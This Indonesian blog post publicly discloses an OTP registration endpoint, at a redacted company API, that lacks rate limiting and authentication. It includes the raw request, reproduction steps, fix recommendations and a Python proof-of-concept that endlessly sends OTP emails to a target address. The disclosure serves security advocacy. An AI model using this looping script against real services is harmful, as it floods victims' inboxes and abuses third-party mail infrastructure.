Saya menemukan celah keamanan cukup serius di salah satu sistem milik anak perusahaan dari perusahaan konglomerat Indonesia. Sebut saja api.redacted.com pada tanggal 6 Mei 2025.
Celah ini memungkinkan siapa saja mengirim OTP ke alamat email mana pun tanpa autentikasi, tanpa validasi akun, tanpa CAPTCHA, dan tanpa pembatasan (rate limiting).
Saya sudah mencoba melaporkan temuan ini secara etis kepada pihak api.redacted.com. Namun, sayangnya customer service mereka secara langsung menolak meneruskan laporan ini ke tim teknis atau keamanan, dengan alasan, mereka sudah memiliki tim internal, bahkan terkesan mengabaikan potensi risiko yang mungkin terjadi pada pengguna.
Karena itu, saya memutuskan untuk mendokumentasikan temuan ini secara publik sebagai bagian dari responsible public disclosure dengan tujuan edukasi, advokasi keamanan, dan mendorong peningkatan sistem yang lebih aman ke depannya.
Ringkasan Bug
- Jenis Bug: Insecure Design – OTP API abuse tanpa validasi
- Impact: Email bombing (flooding), spam abuse, denial of inbox
- Severity: MEDIUM to HIGH
- Status:
Ditolak oleh CS tanpa eskalasi ke tim securityTriaged
Affected Endpoint
POST https://api.redacted.com/auth/api/v2/register/code
Content-Type: application/json
{
"email": "redacted@gmail.com"
}
Tidak ada autentikasi, rate limiting, CAPTCHA, atau validasi email pengguna.
Steps of Reproduce
- Kirim permintaan POST ke endpoint di atas dengan email siapa pun.
- Sistem langsung mengirimkan OTP ke alamat tersebut, walaupun email belum terdaftar.
- Ulangi permintaan secara terus-menerus.
- Email korban akan dibanjiri OTP yang tidak diminta.
Proof of Concept (PoC)
import requests
import time
import sys
from colorama import Fore, Style
url = "https://api.redacted.com/auth/api/v2/register/code"
payload = {"email": "redacted@gmail.com"}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}
def send_request(n):
try:
start = time.time()
response = requests.post(url, json=payload, headers=headers)
duration = round(time.time() - start, 3)
code = response.status_code
color = Fore.GREEN if code == 200 else Fore.YELLOW if code in [429, 403] else Fore.RED
print(f"{color}[{n}] Status: {code} - Time: {duration}s{Style.RESET_ALL}")
return code
except KeyboardInterrupt:
print(f"{Fore.RED}\n[!] Interrupted by user.{Style.RESET_ALL}")
sys.exit()
except Exception as e:
print(f"{Fore.RED}[!] Error: {e}{Style.RESET_ALL}")
return None
if __name__ == "__main__":
print(f"{Fore.CYAN}[*] Starting rate limit test...{Style.RESET_ALL}")
count = 0
while True:
count += 1
code = send_request(count)
# Optional: Add delay to avoid instant block
time.sleep(1) # Set to 0 for brute loop
Dampak Potensial
- 📩 Email Flooding: Bisa spam inbox seseorang secara massal.
- 🎯 Targeted Harassment: Bisa jadi alat untuk ngerjain orang.
- 🔥 Salahgunakan Resource Server: Memberatkan beban email backend.
- ⚠️ Reputasi Brand: Terlihat seolah-olah platform mengirim spam ke publik.
Rekomendasi Perbaikan
- Terapkan rate limiting per IP dan per alamat email.
- Kirim OTP hanya jika email valid, diverifikasi, dan melalui flow yang sah.
- Tambahkan CAPTCHA sebelum pengiriman OTP.
- Logging dan alert untuk deteksi OTP abuse.
Referensi Terkait
- Email Flooding 2.0 – Medium
- CVE-2024-51557 – OTP Endpoint Missing Rate Limit
- CTM360 – OTP & SMS Flooding
🙅 Kenapa Saya Publikasi?
Saya tidak menyebarkan eksploitasi aktif, hanya dokumentasi teknis dan edukatif.
Tujuan saya:
- Memberi pembelajaran ke tim dev & security lain,
- Menunjukkan pentingnya design yang secure dari awal,
- Mendokumentasikan celah nyata yang sudah dicoba laporkan secara etis.
Saya berharap perusahaan besar lainnya, dapat membangun budaya security awareness dan tidak menyederhanakan atau mengabaikan laporan valid dari researcher atau bug hunter.
Oleh William M. Laurent (https://linkedin.com/in/willmet/)


